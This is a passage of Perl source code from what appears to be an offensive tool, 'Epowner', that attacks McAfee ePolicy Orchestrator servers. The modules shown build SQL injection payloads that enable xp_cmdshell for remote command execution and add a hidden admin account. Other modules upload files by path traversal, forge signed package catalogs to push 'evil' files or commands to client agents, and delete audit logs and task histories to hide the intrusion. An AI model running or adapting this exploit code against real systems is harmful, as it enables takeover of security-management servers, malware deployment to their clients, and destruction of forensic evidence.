188 | $this->print_info( "[*] Adding a new (invisible) admin web account using SQLi\n");
189 |
190 | if($this->{state_add_admin}){
191 | $this->print_warn("[-] WARN: According to the config file, you already created an web admin account\n");
192 | $this->print_warn(" We will keep that account\n");
193 | $web_admin_added=1;
194 | }else{
195 | # Add web admin
196 | if($this->mode_addadmin()){
197 | $web_admin_added=1;
198 | }else{
199 | $this->print_err("[-] ERROR: error while adding the admin account\n");
200 | }
201 | }
202 |
203 | # OK. Last step, setup the response rule
204 | if( $web_admin_added){
205 | print "\n";
206 | $this->print_info( "[*] Setting up NonDBA mode\n");
207 | if($this->mode_server_exec_notdba_setup()){
208 | $this->{srv_exec_mode} = 2; # Use NonDBA mode as default
209 | $this->{srv_exec_priv} = 1;
210 | }else{
211 | $this->print_err("[-] ERROR: error while setting up NonDBA RCE mode\n");
212 | }
213 | }
214 | }
215 | }
216 |
217 |
218 | # # Do we have xp_cmdshell but with limited priv ? (example: 'nt authority\network service')
219 | # if($this->{srv_exec_mode} == 0 and $this->{server_is_dba}){
220 | # # Set srv_exec_mode to 1.
221 | # $this->{srv_exec_mode} = 1;
222 | # $this->{srv_exec_priv} = 0;
223 | # }
224 |
225 |
226 | print "\n";
227 | $this->print_info("[*] Final verdict:\n");
228 | if($this->{srv_exec_mode} == 1 && $this->{srv_exec_priv} == 1){
229 | $this->print_ok("[*] You have remote code execution with HIGH privileges using xp_cmdshell (DBA mode) ! Congrats!\n");
230 | }
231 | elsif($this->{srv_exec_mode} == 1 && $this->{srv_exec_priv} == 0){
232 | $this->print_warn("[*] You have remote code execution with LIMITED privileges using xp_cmdshell.\n");
233 | $this->print_warn(" All actions/modes will not be available to you :(\n");
234 | }
235 | elsif($this->{srv_exec_mode} == 2){
236 | $this->print_ok("[*] You have remote code execution with HIGH privileges using NonDBA mode ! Congrats!\n");
237 | print " NonDBA mode is asynchronous. Execution could take up to 1 minute to complete\n";
238 | }else{
239 | $this->print_err("[-] Huh.. Bug ? You should not reach me :-/\n");
240 | }
241 |
242 |
243 |
244 | }
245 |
246 | sub mode_server_exec_notdba_clean{
247 |
248 | my $this = shift;
249 |
250 | my $cmdName = $this->{common_prefix};
251 |
252 | my $sqli =
253 | "') ; " .
254 | "delete from [dbo].[EPOAlertRegisteredExe] where Name like '$cmdName%'; " .
255 | "delete from [dbo].[OrionResponseRule] where Name like '$cmdName%'; " .
256 | " -- ";
257 |
258 | # generate and send HTTP request
259 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
260 | if($this->send_http_request($http_request)){
261 | }else{
262 | return 0;
263 | }
264 |
265 | # keep trace of this action
266 | $this->{state_exec_nondba_setup} = 0 ;
267 |
268 | return 1;
269 | }
270 |
271 | #====================================================================
272 | # FUNCTION : Remote Command Execution : setup
273 | #====================================================================
274 |
275 | sub mode_server_exec_notdba_setup{
276 |
277 | my $this = shift;
278 |
279 | # Test connectivity with web admin console
280 | if(not $this->check_connectivity_webconsole()){
281 | $this->print_err ("[-] ERROR: Could not connect to " . $this->{server_host}. ":" . $this->{server_consoleport} . "\n");
282 | $this->print_err (" You can use '--server-console-port ' to use an alternate port. \n");
283 |
284 | return 0;
285 | }
286 |
287 |
288 | # We need an ePo admin first
289 | if($this->{state_add_admin} eq 0){
290 | $this->print_err ("[-] ERROR: You must create an ePo admin first!\n");
291 | $this->print_err (" Please use '--add-admin' and try again..\n");
292 | return 0;
293 | }
294 |
295 | # generate a temp cmdname
296 | my @c=('0'..'9', 'a'..'f');
297 | my $cmdName = $this->{common_prefix} . "-" . $c[rand @c].$c[rand @c].$c[rand @c].$c[rand @c];
298 |
299 | # Add a new Response Rules + RegisteredEXE into the DB
300 | #=====================================================
301 |
302 | print "[*] Adding a new 'Registered EXE' + 'Automatic Response' into the database\n";
303 |
304 | # get SQL statement (add a response event in the DB which will check for the new mac)
305 | my $sqli = $this->mode_server_exec_notdba_setup_get_sql_statement($cmdName);
306 |
307 | # generate HTTP request
308 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
309 | if($this->send_http_request($http_request)){
310 | }else{
311 | return 0;
312 | }
313 |
314 |
315 | print "[*] Login into to Web console\n";
316 | if(! $this->tomcat_login($this->{admin_username}, $this->{admin_password})) {
317 | $this->print_err("[-] Authentication failure\n");
318 | print " Did you created a new admin account using --add-admin ?\n";
319 | return 0;
320 | }
321 |
322 |
323 | print "[*] ... and force a reload of DB\n";
324 | if(! $this->tomcat_update_response_rule($cmdName)){
325 | $this->print_err("[-] Reload failure\n");
326 | print " 'Setup' can only be used once! In case of trouble, use '--srv-exec --clean-nondba' and restart '--srv-exec --wizard'.\n";
327 | return 0;
328 | }
329 |
330 |
331 | # keep trace of this action
332 | $this->{state_exec_nondba_setup} = 1 ;
333 |
334 | return 1;
335 | }
336 |
337 |
338 |
339 | # If we don't have DBA priv, use "automatic responses" epo feature to
340 | # excecute commands
341 | sub mode_server_exec_notdba {
342 |
343 | my $this = shift;
344 | my $cmd = shift;
345 |
346 |
347 | if($this->{state_exec_nondba_setup} eq 0){
348 | print "TODO\n";
349 | $this->print_err ("[-] ERROR: You don't have DBA privileges. Please run '--srv-exec --setup-nondba' first.\n");
350 | exit;
351 | }
352 |
353 | # generate an Event HTTP request
354 | my $http_request = $this->mode_common_generate_event_request($cmd);
355 |
356 | # Trigger the rule
357 | if($this->send_http_request($http_request)){
358 | print " Your command should be processed within a few moment (up to 1 minute)\n";
359 | }else{
360 | return 0;;
361 | }
362 |
363 | return 1;
364 |
365 | }
366 |
367 |
368 | # If we have DBA priv, use "xp_cmdshell" to excecute commands
369 | sub mode_server_exec_isdba {
370 |
371 | my $this = shift;
372 | my $cmd = shift;
373 |
374 | # in DBA mode, we use
375 | # xp_cmdshell 'cmd.exe /c '
376 | # therefore, single quotes are forbidden in
377 | if($cmd =~ /'/){
378 | $this->print_err ("[-] ERROR: In dba mode, we use the following trick to get command execution:\n");
379 | $this->print_err (" xp_cmdshell 'cmd.exe /c '\n");
380 | $this->print_err (" Therefore, single quotes are forbidden in ... (we also got issues while using \\')\n");
381 | $this->print_err (" If you can't avoid using single quote in your command, use non-dba exec mode using '--force-non-dba'\n");
382 | return 0;
383 | }
384 |
385 |
386 | my $sqli = "') " .
387 | "EXEC sp_configure 'show advanced options',1 ; RECONFIGURE ; " .
388 | "EXEC sp_configure 'xp_cmdshell',1 ; RECONFIGURE ; " .
389 | "EXEC master.dbo.xp_cmdshell 'cmd.exe /c $cmd'; --" ;
390 |
391 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
392 |
393 |
394 | # Send request
395 | if($this->send_http_request($http_request)){
396 | #$this->print_ok ("[*] Your command should have been processed\n");
397 | }else{
398 | return 0;;
399 | }
400 |
401 | return 1;
402 |
403 | }
404 |
405 |
406 | sub mode_server_exec_send {
407 |
408 | my $this = shift;
409 | my $cmd = shift;
410 |
411 | my $dba_mode;
412 | my $dba_mode_str;
413 |
414 | if($this->{srv_exec_mode} == 0){
415 | $this->print_err("[-] ERR: mode_server_exec_send(), srv_exec_mode not defined. Did you run '--srv-exec --wizard' ?\n");
416 | exit;
417 | }
418 |
419 | if($this->{srv_exec_mode} == 2 or $this->{server_force_nondba}){
420 | $dba_mode = 0;
421 | $dba_mode_str = "in Non-DBA mode (Asynchronous)";
422 |
423 | }elsif($this->{srv_exec_mode} == 1){
424 | # use DBA mode
425 | $dba_mode = 1;
426 | $dba_mode_str = "in DBA mode (Synchronous)";
427 | }else{
428 | $this->print_err("[-] ERR: mode_server_exec_send(), srv_exec_mode invalid value\n");
429 | exit;
430 | }
431 |
432 | $this->print_info_l1("[*] Call to ModeServerExec ");
433 | print "$dba_mode_str\n";
434 | $this->print_info_l2(" Parameters: ");
435 | print "$cmd\n";
436 |
437 | if($dba_mode eq 1 ){
438 | $this->mode_server_exec_isdba($cmd);
439 | }else{
440 | $this->mode_server_exec_notdba($cmd);
441 | }
442 | return 1;
443 | }
444 |
445 | 1;
446 |
--------------------------------------------------------------------------------
/Epowner/ModeServerUpload.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use strict;
4 | use warnings;
5 |
6 |
7 | sub mode_server_upload_from_file {
8 | my $this = shift;
9 | my $source_filename = shift;
10 | my $dest_filename = shift;
11 |
12 | if(defined($source_filename) and not -e $source_filename){
13 | $this->print_err("[-] ERROR (upload_from_file): file '$source_filename' not found\n");
14 | return 0;;
15 | }
16 |
17 |
18 | # # destination filename must be 26 chars length
19 | # if(length($dest_filename) ne 26){
20 | # $this->print_err("[-] ERROR (upload_from_file) : Destination filename must be 26 chars length (including extension)\n");
21 | # return 0;
22 | # }
23 |
24 | # path start at \DBFolder\ for stability reasons
25 | # example: /../../Software/0000000000001.jsp
26 | my $dest_path = "/../../" . $dest_filename;
27 |
28 |
29 |
30 | # read source file
31 | open FILE, "$source_filename" or die "[-] ERROR (upload_from_file): can't read $source_filename\n";
32 | my $file_content=''; while() {$file_content .= $_;} close FILE;
33 |
34 |
35 | my $fullpath;
36 | # do we already know the installation path of ePo ?
37 | if(length($this->{server_db_folder}) ne 0){
38 | $fullpath = $this->{server_db_folder} . '\\' . $dest_filename ;
39 | }else{
40 | $fullpath = $this->{server_db_folder_default} . '\\' . $dest_filename ;
41 |
42 | $this->print_warn ("[-] WARNING: epo installation path is unknowm. Assuming default value!\n");
43 | $this->print_warn (" You may want to use '--get-install-path' to fix this.\n");
44 | }
45 |
46 |
47 | $this->print_info_l1("[*] Call to ModeServerUpload\n");
48 | $this->print_info_l2(" Parameters: ");
49 | print "From '$source_filename' To '$fullpath'\n";
50 |
51 | # send request
52 | my $http_request = $this->mode_common_generate_event_request("N/A", $dest_path , $file_content);
53 | if($this->send_http_request($http_request)){
54 | # print colored("[*] Your file has been uploaded to ePo working dir, under '$fullpath' \n", 'cyan');
55 |
56 | }else{
57 | return 0;
58 | }
59 |
60 | return 1;
61 |
62 | }
63 |
64 | sub mode_server_upload_from_string {
65 |
66 | }
67 |
68 | 1;
69 |
--------------------------------------------------------------------------------
/Epowner/ModeWipe.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use strict;
4 | use warnings;
5 |
6 |
7 |
8 | # This function calls all other cleaning procedure
9 | sub mode_wipe {
10 |
11 | my $this = shift;
12 |
13 |
14 | # Do we have an admin ?
15 | if($this->{state_add_admin}){
16 |
17 | $this->print_info ("\n[*] Web Admin Account\n");
18 | print "[*] Do you want to remove your web admin account from the database ? ";
19 | if($this->{state_exec_nondba_setup}){
20 | print "(you don't need it anymore for Remote Command Exec in NonDBA mode) ";
21 | }
22 | print "[Y/n] : ";
23 |
24 | my $doit = <>; chomp($doit);
25 | if($doit eq '' or $doit eq 'y' or $doit eq 'Y'){
26 | $this->mode_addadmin_clean();
27 | }
28 | }
29 |
30 |
31 | # Did we use --cli-deploy ?
32 | if($this->{state_cli_deploy}) {
33 | $this->print_info("\n[*] Downgrading replica.log\n");
34 | $this->mode_wipe_downgrade_replica();
35 |
36 | $this->print_info("\n[*] Cleaning up ePo repository\n");
37 | $this->mode_wipe_repository();
38 | #$this->mode_wipe_catalog(); # Sorry I'm tired ... catalog will be automatically updated within 24h...
39 |
40 | # Wait until the repository is cleaned. Then force replication of the changes
41 | # Poll replica.log until our evil product name disapears...
42 | $this->print_info("\n[*] Polling replica.log until our evil product name disapears...\n");
43 | for(my $i=0 ; $i<50 ; $i++){
44 | my $uri = "https://" . $this->{server_host} . ":" . $this->{server_port} . "/Software/Current/replica.log";
45 | # Download replica.log
46 | my $replica_content = $this->http_poll_uri_get($uri);
47 | if($replica_content eq 0){
48 | $this->print_err ("[-] ERROR (mode_wipe): Can't download replica.log.\n");
49 | return 0;
50 | }
51 | # Does replica.log contains our evil product name ?
52 | last if($replica_content !~ /$this->{deploy_evil_product_id}/);
53 |
54 | print " retrying in 10 sec ...\n" ;
55 | sleep(10);
56 |
57 | }
58 |
59 | $this->print_info("\n[*] Cleaning up unzip.exe\n");
60 | # delete unzip.exe & repo.zip on the server (uploaded by mode_wipe_downgrade_replica())
61 | my $db_folder = $this->{server_db_folder};
62 | $this->mode_server_exec_send(
63 | "del /F ${db_folder}\\$this->{deploy_remote_zipfile} & " .
64 | "del /F ${db_folder}\\$this->{unzip_remote_file} "
65 | );
66 |
67 | # Replicate the changes
68 | $this->print_info("\n[*] Notifying all ePo servers about the changes\n");
69 | $this->mode_wipe_replicate();
70 | }
71 |
72 | # Did we set up RCE in NonDBA mode ?
73 | if($this->{state_exec_nondba_setup}){
74 |
75 | $this->print_info("\n[*] Remote Code Execution in NonDBA mode\n");
76 | print "[*] Do you want to delete the Remote Command Exec in NonDBA mode ? (warn: you wont be able to execute further commands) ? [N/y] : ";
77 |
78 | my $doit = <>; chomp($doit);
79 | if($doit eq 'y' or $doit eq 'Y'){
80 | if($this->mode_server_exec_notdba_clean()){
81 | $this->print_ok("[*] It smells good\n");
82 | }else{
83 | $this->print_err("[-] ERROR: --clean-nondba failure\n");
84 | }
85 | }
86 | }
87 |
88 |
89 | # clean up database
90 | $this->print_info("\n[*] Cleaning up database\n");
91 | $this->mode_wipe_db();
92 | }
93 |
94 |
95 |
96 | # This function replicate the cleaning changes to all AgentHandlers
97 | sub mode_wipe_replicate {
98 |
99 | my $this = shift;
100 |
101 | my $sqli =
102 | "') ; " .
103 | # Notify All handler that catalog has a new version"
104 | "exec EPOAgentHandler_NotifyAllServers N'SiteListChanged', N'AgentHandler'; ".
105 | # Ask mod_eporepo to flush cache
106 | "exec EPOAgentHandler_NotifyAllServers N'FlushRepositoryCache', N'mod_eporepo'; " .
107 | " -- ";
108 |
109 | print "[*] Send Repository replication request\n";
110 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
111 | $this->send_http_request($http_request);
112 |
113 | return 1;
114 | }
115 |
116 |
117 |
118 | # This function will delete the following folders from the repository
119 | # - /Software/Current/OUR_EVIL_PRODUCT
120 | # - /RepoCache/Current/OUR_EVIL_PRODUCT
121 | sub mode_wipe_repository {
122 |
123 | my $this = shift;
124 | my $db_folder = $this->{server_db_folder};
125 | $this->mode_server_exec_send(
126 | "rmdir /S /Q ${db_folder}\\Software\\Current\\$this->{deploy_evil_product_id} & " .
127 | "rmdir /S /Q ${db_folder}\\RepoCache\\Current\\$this->{deploy_evil_product_id} "
128 | );
129 | return 1;
130 | }
131 |
132 |
133 | # File /Software/Current/replica.log contains the list of all McAfee software present on the repository, branch: "Current"
134 | # We have to remove our evil product from that file
135 | # In this function, we download the official replica.log file from the repository, update it, then upload the new version on the server
136 | sub mode_wipe_downgrade_replica {
137 |
138 | my $this = shift;
139 |
140 | print "[*] Downgrading /Software/Current/replica.log\n";
141 |
142 | my $server_host = $this->{server_host};
143 | my $server_port = $this->{server_port};
144 | my $uri = "https://$server_host:$server_port/Software/Current/replica.log";
145 |
146 | # Download replica.log
147 | my $replica_content = $this->http_poll_uri_get($uri);
148 | if($replica_content eq 0){
149 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): Can't download replica.log. Software replication will introduce error message in ePo log files. That's life ..\n");
150 | return 0;
151 | }
152 |
153 | # Replica.log sample
154 | #------------------
155 |
156 | # [General]
157 | # NumItems=12
158 | # [ITEM_1]
159 | # Name=EPOAGENT3000
160 | # Type=Directory
161 | # Size=0
162 | # Hash=
163 | # Hash256=
164 | # [ITEM_2]
165 | # ...
166 |
167 | # Does our Evil product name is in that file ? (did we use --cli-deploy ?)
168 | if($replica_content !~ /$this->{deploy_evil_product_id}/){
169 | # No additional modification is needed
170 | return 1;
171 | }
172 |
173 | # Get "NumItems"
174 | my $numitems = $1 if $replica_content =~ /.*NumItems=([0-9]+).*/g || -1;
175 | if($numitems eq -1){
176 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): Can't extract 'NumItems' from replica.log. Abording\n");
177 | return 0;
178 | }
179 |
180 | # Read all [ITEM_x], and push them into an array
181 | # We assume that we don't know the position of the ITEM we want to remove. If not the last one of the list,
182 | # we must update the item id of the following entries.. So yeah, let's manage it using an array
183 |
184 | # Get position of the first ITEM
185 | my $first_item_pos = index($replica_content, "[ITEM_1]");
186 | # remove [General] header
187 | my $items_content = substr($replica_content, $first_item_pos); # string containing only the ITEM_x list
188 | my @items_array = split(/\[ITEM_[0-9]+\]\r\n/, $items_content);
189 | shift @items_array; # Drop the first entry (empty string)
190 |
191 | # rebuild a new replica.log
192 | my $count =0;
193 | my $replica_content_new = '';
194 | foreach my $item (@items_array) {
195 | # ignore our own product name
196 | if ($item !~ /$this->{deploy_evil_product_id}/){
197 | $count++;
198 | $replica_content_new .=
199 | "[ITEM_$count]\r\n" .
200 | $item;
201 | }
202 | }
203 |
204 | # Add header
205 | $replica_content_new =
206 | "[General]\r\n" .
207 | "NumItems=$count\r\n" .
208 | $replica_content_new;
209 |
210 |
211 | # OK, replica.log is done.
212 |
213 | # Time to upload the file on the server
214 | # Unfortunately we can't use ModeServerUpload here as the destination filename (path included) is longer than 26 chars (Software/Current/replica.log)
215 | # So, we will create a ZIp file, upload it, and decrompress it on the server :-/
216 |
217 |
218 | # if previous repo exists, drop everything
219 | if (-d $this->{deploy_local_repository}){
220 | print " [+] Cleaning up previous repo\n" if $this->{verbose};
221 | rmtree($this->{deploy_local_repository});
222 | }
223 |
224 | my $software_folder = $this->{deploy_local_repository} .
225 | "Software/" .
226 | "Current/" ;
227 | my $repocache_folder = $this->{deploy_local_repository} .
228 | "RepoCache/" .
229 | "Current/" ;
230 |
231 | # create local folders
232 | mkpath($software_folder);
233 | if(not -d $software_folder){
234 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): can't create directory path $software_folder\n");
235 | exit;
236 | }
237 | mkpath($repocache_folder);
238 | if(not -d $repocache_folder){
239 | $this->print_err ("[-] ERROR (mode_clean_downgrade_replica): can't create directory path $repocache_folder\n");
240 | exit;
241 | }
242 |
243 | # Save replica.log
244 | open FILE, ">$software_folder/replica.log" or die "[-] ERROR: can't write to $software_folder/replica.log\n";
245 | print FILE $replica_content_new ;
246 | close FILE;
247 | open FILE, ">$repocache_folder/replica.log" or die "[-] ERROR: can't write to $repocache_folder/replica.log\n";
248 | print FILE $replica_content_new ;
249 | close FILE;
250 |
251 |
252 |
253 | # zip repository
254 | #============================
255 | print "[*] Compressing new replica.log to 'repo.zip'\n";
256 | $this->compress_zip_tree( $this->{deploy_local_repository}, # folder to zip
257 | $this->{deploy_local_zipfile} # zip filename
258 | );
259 |
260 | # upload zipped repo file to ePo server
261 | #======================================
262 | $this->mode_server_upload_from_file( $this->{deploy_local_zipfile}, # source filename
263 | $this->{deploy_remote_zipfile} # dest filename
264 | );
265 |
266 | # Upload "unzip.exe" :)
267 | #============================
268 | $this->mode_server_upload_from_file( $this->{unzip_local_file}, # source filename
269 | $this->{unzip_remote_file} # dest filename
270 | );
271 |
272 |
273 | # Ask server to uncompress our repository (and so, update the main repo)
274 | #=======================================================================
275 | print "[*] Unzip replica.log on server side\n" if $this->{verbose};
276 | my $repo = $this->{deploy_remote_zipfile};
277 | my $unzip = $this->{unzip_remote_file};
278 | $repo =~ s/\.\.|\///g; # remove /../../
279 | $unzip =~ s/\.\.|\///g; # remove /../../
280 |
281 |
282 | # do we already know the installation path of ePo ?
283 | my $db_path ;
284 | if(length($this->{server_db_folder}) ne 0){
285 | $db_path = $this->{server_db_folder} ;
286 | }else{
287 | $db_path = $this->{server_db_folder_default} ;
288 | $this->print_warn ("[-] WARNING: epo installation path is unknowm. Assuming default value!\n");
289 | $this->print_warn (" You may want to use '--get-install-path' to fix this.\n");
290 | }
291 |
292 | # exec cmd: call unzip.exe
293 | $this->mode_server_exec_send(
294 | "\"\"" . $db_path . "\\" .$unzip. "\" " . # unzip.exe
295 | "-o \"" . $db_path . "\\" . $repo . "\" " . # -o repo.zip
296 | "-d \"" . $db_path . "\"\"" # -d dest folder
297 | );
298 |
299 | # # delete unzip.exe & repo.zip on the server
300 | # my $db_folder = $this->{server_db_folder};
301 | # $this->mode_server_exec_send(
302 | # "del /F ${db_folder}\\$this->{deploy_remote_zipfile} & " .
303 | # "del /F ${db_folder}\\$this->{unzip_remote_file} "
304 | # );
305 |
306 | return 1;
307 |
308 | }
309 |
310 |
311 |
312 | sub mode_wipe_nondba_cmd_history {
313 |
314 | my $this = shift;
315 |
316 |
317 | if($this->{srv_exec_mode} != 2 and not $this->{server_force_nondba}){
318 |
319 | $this->print_warn("[-] ERROR: --clean-cmd-history is only needed for NonDBA Remote Code Exec\n");
320 | $this->print_warn(" Skipping user request\n");
321 | exit;
322 | }
323 |
324 | # SQL Injection
325 | my $sqli =
326 | "') ; " .
327 |
328 | # Events sent by us, or victims
329 | "delete from EPOProductEvents where AgentGUID = '$this->{agent_guid}' ; " .
330 | " -- ";
331 |
332 |
333 | print "[*] Cleaning up cmd history ...\n";
334 |
335 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
336 | if($this->send_http_request($http_request)){
337 | return 1;
338 | }else{
339 | return 0;
340 | }
341 |
342 | }
343 |
344 |
345 | sub mode_wipe_db {
346 |
347 | my $this = shift;
348 |
349 | # SQL Injection
350 | my $sqli =
351 | "') ; " .
352 | # MasterCatalog is modified by the catalog.z file that we upload (--upload)
353 | "delete from EPOMasterCatalog where ProductCode = '" . $this->{deploy_evil_product_id} . "'; " .
354 | #"\n".
355 | # Orion (tomcat) logs
356 | "delete from OrionAuditLog where UserName = '" . $this->{admin_username} . "'; " .
357 | "delete from OrionAuditLog where Message like '%" . $this->{agent_hostname} . "%'; " .
358 | "delete from OrionAuditLog where Message like '%" . $this->{common_prefix} . "%'; " .
359 | #"\n".
360 | # Task logs introduced by "--exec-server --cmd" in NON-DBA mode , and by logged-in attacker
361 | "declare \@TempTblLog Table (id int); " .
362 | "insert into \@TempTblLog Select id from OrionSchedulerTaskLog where Name like '" . $this->{common_prefix} . "%'; " .
363 | "delete from OrionSchedulerTaskLog where ParentId in (select id from \@TempTblLog) or Id in (select id from \@TempTblLog); " .
364 | "delete from \@TempTblLog;" .
365 | "insert into \@TempTblLog Select id from OrionSchedulerTaskLog where UserName = '" . $this->{admin_username} . "'; " .
366 | "delete from OrionSchedulerTaskLogDetail where TaskLogId in (select id from \@TempTblLog) ; " .
367 | "delete from OrionSchedulerTaskLog where UserName = '" . $this->{admin_username} . "'; " .
368 | #"\n".
369 | # Sequence number error if any ..
370 | "delete from EPOAgentSequenceErrorLog where NodeName = '" . $this->{agent_hostname} . "'; " .
371 | #"\n".
372 | # Events sent by us, or victims
373 | "delete from EPOProductEvents where AgentGUID = '$this->{agent_guid}' or ProductCode = '$this->{deploy_evil_product_id}'; " .
374 | #"\n".
375 | # Schedules / Slots
376 | "declare \@TempTblSched Table (id int); " .
377 | "insert into \@TempTblSched Select TaskScheduleId from EPOTaskSchedules where Name = '" . $this->{common_prefix} . "';" .
378 | "delete from EPOTaskSchedules where TaskScheduleId in (select id from \@TempTblSched) ; " .
379 | "delete from EPOTaskScheduleSettings where TaskScheduleId in (select id from \@TempTblSched) ; " .
380 | "delete from EPOTaskSlots where TaskSlotId in (select id from \@TempTblSched) ; " .
381 | #"\n".
382 | # Tasks ...
383 | "declare \@TempTblTask Table (id int); " .
384 | "insert into \@TempTblTask Select TaskObjectId from EPOTaskObjects where Name like '" . $this->{common_prefix} . "%';" .
385 | "delete from EPOTaskObjects where TaskObjectId in (select id from \@TempTblTask) ; " .
386 | "delete from EPOTaskObjectSettings where TaskObjectId in (select id from \@TempTblTask) ; " .
387 | "delete from EPOTaskObjectUserRoles where TaskObjectId in (select id from \@TempTblTask) ; " .
388 | "delete from EPOTaskAssignments where TaskObjectId in (select id from \@TempTblTask) ; " .
389 | #"\n".
390 | # Tags ...
391 | "declare \@TempTblTag Table (id int); " .
392 | "insert into \@TempTblTag Select TagID from EPOTag where Name like '" . $this->{common_prefix} . "%';" .
393 | "delete from EPOTag where TagID in (select id from \@TempTblTag) ; " .
394 | "delete from EPOTagAssignment where TagID in (select id from \@TempTblTag) ;" .
395 | "delete from EPOTaskAssignmentsTags where TagId in (select id from \@TempTblTag) ;" .
396 | #"\n".
397 | " -- ";
398 | #print $sqli ;
399 | #exit;
400 |
401 | print "[*] Cleaning up 15 database tables ...\n";
402 |
403 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
404 | if($this->send_http_request($http_request)){
405 |
406 |
407 | }else{
408 | return 0;
409 | }
410 |
411 | return 1;
412 |
413 | }
414 | 1;
415 |
--------------------------------------------------------------------------------
/Epowner/PkgCatalog.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Epowner::Cab::Cab;
4 | use Epowner::CabSign::CabSign;
5 |
6 | use File::Path;
7 |
8 | use strict;
9 | use warnings;
10 |
11 |
12 |
13 |
14 |
15 | sub pkgcatalog_makecab {
16 |
17 | my $this = shift;
18 |
19 | my $xmlfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_xml_file} ;
20 | my $cabfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_cab_file} ;
21 |
22 | # Generate CAB file
23 | #my $cab = Epowner::Cab::Cab->new;
24 | my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path});
25 | $cab->makecab($xmlfile, $cabfile, 1);
26 |
27 |
28 | }
29 |
30 | sub pkgcatalog_signcab {
31 |
32 | my $this = shift;
33 |
34 | # filenames (pkgcatalog)
35 | my $cabfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_cab_file} ;
36 | my $signedcabfile = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_signedcab_file} ;
37 |
38 | # filename (keys)
39 | my $dsa_pub = $this->{pkgcatalog_dsa_folder} . '/' . $this->{pkgcatalog_dsa_pub_file} ;
40 | my $dsa_priv = $this->{pkgcatalog_dsa_folder} . '/' . $this->{pkgcatalog_dsa_priv_file} ;
41 | my $rsa_pub = $this->{pkgcatalog_rsa_folder} . '/' . $this->{pkgcatalog_rsa_pub_file} ;
42 | my $rsa_priv = $this->{pkgcatalog_rsa_folder} . '/' . $this->{pkgcatalog_rsa_priv_file} ;
43 |
44 |
45 | my $cabsign = Epowner::CabSign::CabSign->new;
46 |
47 | # Crypto keys
48 | $cabsign->load_dsa_pub_from_file( $dsa_pub);
49 | $cabsign->load_dsa_priv_from_file($dsa_priv);
50 | $cabsign->load_rsa_priv_from_file($rsa_priv);
51 | $cabsign->load_rsa_pub_from_file($rsa_pub);
52 |
53 | # sign CAB file
54 | $cabsign->read_cabfile($cabfile);
55 | $cabsign->sign_cab();
56 | $cabsign->write_cabfile_signed($signedcabfile);
57 |
58 | }
59 |
60 | sub pkgcatalog_encrypt {
61 |
62 | my $this = shift;
63 |
64 | my $signedcab = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_signedcab_file} ;
65 | my $pkgcatalog_z = $this->{pkgcatalog_tmp_folder} . '/' . $this->{pkgcatalog_z_file} ;
66 |
67 | # Read Signed CAB
68 | my $buf ='';
69 | open FILE, "$signedcab" or die "Couldn't open $signedcab: $!";
70 | while (){ $buf .= $_; }
71 | close FILE;
72 |
73 | my $enc = mcafee_3des_encrypt(
74 | $buf, # to encrypt
75 | sha1_hex($this->{des3_symkey}) # 3DES key in hex
76 | );
77 |
78 | # Write
79 | open FILE, ">$pkgcatalog_z" or die "Couldn't open $pkgcatalog_z: $!";
80 | print FILE $enc;
81 | close FILE;
82 | }
83 |
84 |
85 |
86 | sub pkgcatalog_write_xml {
87 |
88 | my $this = shift;
89 | my $action = shift; # DEPLOY_FILE or DEPLOY_CMD or DEPLOY_CUSTOM
90 |
91 | my $evil_local_path;
92 | my $cmd;
93 | my $custom_folder;
94 |
95 | if($action eq DEPLOY_FILE){
96 | $evil_local_path = shift; # the file we want to deploy on clients
97 | }elsif ($action eq DEPLOY_CMD){
98 | $cmd = shift;
99 | }else{
100 | $custom_folder = shift;
101 | }
102 |
103 |
104 | my $run_bat_path = $this->{deploy_run_bat};
105 | # path to temp run.bat
106 | # this batch file will run our evil file and return.
107 | # this is important, otherwise the agent will keep the task
108 | # open until our evil file exits.
109 | # The content of this file is generated in ModeDeploy.pm
110 |
111 |
112 | my $file_item_evil = ''; # XML for evil file
113 | my $total_sizeKb =0; # total size of files in Kb
114 |
115 | if($action eq DEPLOY_FILE){
116 | # DEPLOY_FILE
117 | #------------
118 |
119 | # is evil file exists ?
120 | if(not -f $evil_local_path){
121 | print "[-] ERROR: (write_pkgcatalog_xml): file '$evil_local_path' not found\n";
122 | exit;
123 | }
124 |
125 | # get evil filename
126 | my $evil_filename = fileparse($evil_local_path);
127 |
128 | # get evil file size
129 | my $evil_size = -s $evil_local_path ;
130 | $total_sizeKb += int($evil_size / 1024);
131 |
132 |
133 | # get evil file hash
134 | my $content;
135 | open FILE, "$evil_local_path" or die "[-] ERROR: (write_pkgcatalog_xml): can't open '$evil_local_path' fo reading\n";
136 | read FILE, $content, -s FILE;
137 | close FILE;
138 | my $evil_sha1 = uc(sha1_hex($content)); # must be upper case
139 |
140 | # Build
141 | $file_item_evil = << "EOF";
142 |
143 | $evil_filename
144 | $evil_size
145 | 1CBB272E220B000
146 | $evil_sha1
147 |
148 | EOF
149 |
150 | }elsif ($action eq DEPLOY_CMD){
151 | # DEPLOY_CMD
152 | #-----------
153 |
154 | # actually, nothing to do here..
155 |
156 | }else {
157 | # DEPLOY_CUSTOM
158 | #--------------
159 |
160 | # custom folder was already checked. pass the check
161 |
162 | # read custom folder dir
163 | opendir DIR, $custom_folder or die "[-] ERROR (write_pkgcatalog_xml): can't open '$custom_folder' directory\n";
164 | my @files = readdir(DIR);
165 | close DIR;
166 |
167 | # for each entry; add size in Kb
168 | foreach my $entry (@files){
